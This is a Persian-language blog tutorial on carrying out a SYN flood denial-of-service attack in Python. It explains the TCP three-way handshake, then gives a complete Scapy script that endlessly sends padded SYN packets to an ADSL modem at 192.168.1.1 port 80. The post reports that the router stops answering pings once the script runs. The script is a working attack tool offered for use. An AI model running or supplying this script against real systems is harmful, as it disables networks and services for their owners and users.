-
پنجشنبه, ۲۳ مرداد ۱۳۹۹، ۰۸:۵۱ ق.ظ
-
۱۳۰۱
پیاده سازی حمله ی SYN Flood در پایتون
درود به همه !
حمله ی SYN Flood جزء حملات DOS به حساب میاید و امروز میخوایم این حمله رو علیه یک مودم ADSL در شبکه پیاده سازی کنیم .برای اینکار اسکریپت پایتونی خیلی ساده ای مینویسیم که این حمله رو روی مودم ADSL پیاده سازی میکنه و باعث از کار انداختن و عدم سرویس دهی اون میشه .
طبق معمول قبل از اینکه بریم سراغ کدنویسی باید الگوریتم کار رو از نظر مفهومی توضیح بدیم . برای اینکه طرز کار این حمله رو بدونید در ابتدا باید با پروتکل ارتباطی TCP یکم آشنا بشیم . در واقع هر کامپیوتری که بخواد با کامپیوتر دیگه ارتباط TCP برقرار کنه باید سه مرحله رو طی کنه که بهش میگن Three Way Handshaking یا دست دهی سه مرحله ای . در این روند سه مرحله ای ، ابتدا کامپیوتری که قصد شروع ارتباط را دارد (کامپیوتر مبدا) به منظور درخواست شروع ارتباط ، یک پکت از نوع SYN ارسال میکند به پورت مشخصی در کامپیوتر مقصد . اگر پورت مورد نظر در کامپیوتر مقصد باز باشد و خود سیستم مقصد تمایل به ارتباط داشته باشد به منظور تایید ارتباط ، یک پکت SYN/ACK به کامپیوتر مبدا ارسال میکند . سپس کامپیوتر مبدا به منظور شروع ارتباط یک پکت ACK ارسال میکند و ارتباط از همین لحظه شروع میشود . این سه مرحله رو در تصویر زیر میتونید مشاهده کنید :
حال که طرز ارتباط گرفتن دو کامپیوتر با استفاده از پروتکل TCP رو میدونید میتونیم حمله ی SYN Flood رو توضیح بدیم . در این حمله هکر میاد پشت سر هم پکت های SYN ارسال میکنه به سیستم هدف(مرحله ی اول Three way handshake) . سپس به ازای هر کدام از پکت های SYN که هکر میفرسته ، کامپیوتر هدف باید یک SYN/ACK براش بفرسته و از اونجایی که کامپیوتر هکر به طور همیشگی و بینهایت پکت SYN میفرسته پس کامپیوتر هدف هم باید همیشگی وبینهایت پکت SYN/ACK براش بفرسته و اینطوری میشه که کامپیوتر هدف اونقدر مشغول میشه که دیگه توان جواب دادن به درخواست های دیگران رو نداره و عملا از کار میافته . باید بدونید که در این حمله هکر فقط پکت های SYN رو میفرسته و حتی وقتی که مقصد پکت SYN/ACK رو فرستاد ، هکر پکت ACK رو نمیفرسته (مرحله ی سوم three way handshake) . تصویر زیر الگوریتم این حمله رو مشخص کرده :
حالا که طرز کار حمله رو میدونید میریم سراغ نوشتن اسکریپت . برای نوشتن اسکریپت از کتابخونه ی Scapy استفاده میکنیم که میتونیم با ابزار pip نصبش کنیم :
نصب Scapy در لینوکس :
MrPython@debian:~$ sudo pip3 install scapy
نصب Scapy در ویندوز :
C:\> pip install scapy
سورس کد :
from scapy.all import *
target_ip = "192.168.1.1" # ADSL Modem IP (Router Of Network) target_port = 80 # PORT OF Destination
ip = IP(dst=target_ip) tcp = TCP(sport=RandShort() , dport=target_port, flags="S") raw = Raw(b"X" * 1024)
packet = ip / tcp / raw
send(packet, loop = 1,verbose = 0) # Send in Layar 3
توضیح سورس کد :
در ابتدا ماژول های مورد نیاز از کتابخونه ی Scapy رو ایمپورت کردیم . سپس یه متغییر به نام target_ip تعریف کردیم که آی پی سیستم هدف (در اینجا آی پی روتر یا همون مودم ADSL) رو بهش میدیم . در خط بعد متغییر target_port رو داریم که پورت مقصد رو میدیم .
سپس در خط بعدی لایه ی ip را تعریف کردیم که در آرگومان dst آیپی مقصد رو مشخص کردیم (اینکه پکت باید به کجا ارسال بشه) . سپس لایه tcp رو تعریف کردیم و آرگومان sport مشخص کننده ی پورت مبدا(سیستم خودمون) هستش که از RandShort استفاده کردیم که باعث میشه در هربار ارسال پکت یک پورت شانسی در نظر بگیره . در آرگومان dport پورت مقصد رو مشخص کردیم و نهایتا در آرگومان flags گفتیم این چه نوع پکتی باشه که اینجا گفتیم S مخفف SYN . اگه یادتون باشه قرار بود کلی پکت SYN ارسال کنیم به مقصد !
سپس در متغییر raw یه سری اطلاعات بی ارزش برای پکت تعریف کردیم که خالی نباشه . (اینجا ۱۰۲۴ بایت اطلاعات تولید کردیم) .
نهایتا لایه های Scapy که اون بالا نوشتیم رو با هم ترکیب کردیم تا packet بوجود بیاد .
حالا با استفاده از تابع send پکتی که بالا ساختیم رو ارسال کردیم به مقصد . در اولین آرگومان این تابع خود پکتی که قراره ارسال بشه رو دادیم . در دومین آرگومان یعنی loop مشخص کردیم این هی پشت سر هم ارسال بشه و در سومین آرگومان یعنی verbose گفتیم اطلاعات اضافه بفهمون نشون نده .
خب بریم سراغ تست اسکریپت . من برای اینکه هروقت مودم از کار افتاد بفهمیم ، مودم رو پینگ میکنم . تصویر زیر :
در تصویر بالا میبینید که مودم پینگ میشه و هیچ مشکلی در ارتباط باهاش وجود نداره .
حالا اسکریپت رو با دسترسی کامل (در لینوکس با sudo) اجرا میکنم . تصویر زیر :
میبینید که بعد از اجرای اسکریپت دیگه روتر پینگ نشده . این یعنی دیگه نمیتونه سرویس بده تا وقتی که این اسکریپت حمله کننده در حال اجراس .
منبع : thepythoncode
یا حق !
Telegram Channel : @mrpythonblog